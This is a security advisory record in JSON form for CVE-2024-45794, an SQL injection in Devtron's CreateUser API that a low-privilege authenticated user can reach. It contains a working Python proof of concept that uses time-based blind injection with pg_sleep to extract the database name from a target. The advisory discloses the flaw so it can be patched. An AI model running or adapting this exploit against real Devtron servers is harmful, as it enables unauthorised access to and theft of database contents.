{"schema_version":"1.7.3","id":"GHSA-q78v-cv36-8fxj","published":"2024-11-07T17:14:04Z","modified":"2024-11-08T17:56:59.835617Z","aliases":["CVE-2024-45794","GO-2024-3260"],"summary":"Devtron has SQL Injection in CreateUser API","details":"### Summary\nAn authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user).\n\n### Details\nThe API is CreateUser (/orchestrator/user).\n\nThe function to read user input is:\nhttps://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/api/auth/user/UserRestHandler.go#L96-L104\n\nThe userInfo (line 104) parameter can be controlled by users.\n\nThe SQL injection can happen in the code:\nhttps://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/pkg/auth/user/repository/UserAuthRepository.go#L1038\n\nThe query (line 1038) parameter can be controlled by a user to create and execute a malicious SQL query.\n\nThe user should be authenticated but only needs minimum permissions:\n![image](https://github.com/user-attachments/assets/08ba940e-33a8-408d-9a1e-9cd1504b95c5)\n\n\n### PoC\n\nDemonstrate a blind SQL injection to retrieve the database name:\n\n```\nimport requests\nimport time\nimport string\nimport argparse\n\ndef blind(ip, token, query):\n    url = f\"http://{ip}/orchestrator/user\"\n    headers = {\"token\": token}\n    entity = \"chart-group\"\n    payload = f\"'; {query} --\"\n\n    data = {\"id\": 111, \"email_id\": \"abcd123@126.com\", \"superAdmin\": False, \"roleFilters\":[{\"team\":\"\", \"environment\":\"\", \"action\": \"\", \"entity\": entity, \"accessType\": payload}]} #\"EntityName\": \"test\", \"AccessType\": \"test\", \"Cluster\": \"\",\\\"NameSpace\": \"devtroncd\", \"Group\": \"\", \"Kind\": \"\", \"Resource\": \"\", \"Workflow\": \"\"\n    start = time.time()\n    res = requests.post(url, headers=headers, json = data)\n    end = time.time()\n    #print(res.content)\n    if(end - start > 1):\n        return True\n    return False\n\ndef main(ip, token):\n    chs = string.printable\n    result = \"\"\n    is_end = False\n    i = 1\n    while(not is_end):\n        is_end = True\n        for ch in chs:\n            if(blind(ip, token, f\"select case when substring(datname,{i},1)='{ch}' then pg_sleep(1) else pg_sleep(0) end from pg_database limit 1;\")):\n                print(ch)\n                result += ch\n                is_end = False\n                break\n        i += 1\n    print(result)\n\nif __name__ == \"__main__\":\n    argparser = argparse.ArgumentParser()\n    argparser.add_argument(\"--ip\", \"-i\", type=str, help=\"Target IP\")\n    argparser.add_argument(\"--token\", \"-t\", type=str, help=\"API TOKEN\")\n    args = argparser.parse_args()\n    main(args.ip, args.token)\n```\n\nThe debugging breakpoint indicated that the malicious SQL query was executed:\n![image](https://github.com/user-attachments/assets/c9067360-8fb3-4d64-82e9-3af1e5e60969)\n\nWe can see that we can get the database name:\n![image](https://github.com/user-attachments/assets/29d5d969-876a-452d-be7f-8984d2a28c25)\n\n\n### Impact\nSQL injection vulnerability. Our tests indicate that the latest version is affected.\n\nThe reporters are Yuan Luo, Shuai Xiong from Tencent YunDing Security Lab.\n","affected":[{"package":{"name":"github.com/devtron-labs/devtron","ecosystem":"Go","purl":"pkg:golang/github.com/devtron-labs/devtron"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.7.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-q78v-cv36-8fxj/GHSA-q78v-cv36-8fxj.json"}}],"references":[{"type":"WEB","url":"https://github.com/devtron-labs/devtron/security/advisories/GHSA-q78v-cv36-8fxj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45794"},{"type":"WEB","url":"https://github.com/devtron-labs/devtron/commit/1540271bd777b6bccd288e513a9070d8f04b6056"},{"type":"PACKAGE","url":"https://github.com/devtron-labs/devtron"}],"database_specific":{"cwe_ids":["CWE-89"],"github_reviewed":true,"github_reviewed_at":"2024-11-07T17:14:04Z","nvd_published_at":"2024-11-07T18:15:17Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"}]}